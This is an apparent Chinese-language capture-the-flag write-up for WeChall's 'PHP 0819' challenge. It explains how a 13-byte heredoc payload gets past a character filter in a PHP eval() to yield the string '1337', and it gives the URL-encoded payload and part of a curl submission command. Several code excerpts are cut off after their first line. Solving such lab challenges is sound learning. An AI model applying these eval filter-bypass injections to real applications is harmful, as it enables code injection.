WeChall - PHP 0819
Challenge
space 的 PHP eval 小挑战。目标是在 13
字节以内构造一个表达式,让执行后的 $spaceone 严格等于字符串
1337。
页面给出完整源码,核心逻辑是读取 GET 参数
eval,删除一批字符,限制长度,然后拼进
eval():
1 | $f = Common::getGetString('eval'); |
最后是 strict comparison,所以直接提交 1337 不行:
1 | $spaceone = 1337; |
这样得到的是 integer 1337,不是 string
"1337"。
Solution
约束很紧:
- 引号
"/'会被删除,不能直接写字符串。 $会被删除,不能引用变量。.会被删除,不能拼接字符串。(/)会被删除,基本不能调用函数。>会被删除,但<没有被删。- 长度最多 13 字节,且不能包含
return。
问题变成:PHP 有没有不需要引号的字符串字面量?答案是 heredoc。
1 | <<<a |
这里用一字符标识符 a,字节数刚好卡进限制:
1 | <<<a\n1337\na;\n |
payload 只用到
<、字母、数字、分号和换行,都不会被过滤。进入
eval() 后等价于:
1 | $spaceone = <<<a |
heredoc 表达式的值是字符串 "1337",因此能通过
$spaceone === '1337'。
用 curl 提交时让 --data-urlencode 处理换行,避免手写
%0A 出错:
1 | $ curl -sL -G \ |
等价的 URL 参数是:
1 | eval=%3C%3C%3Ca%0A1337%0Aa%3B%0A |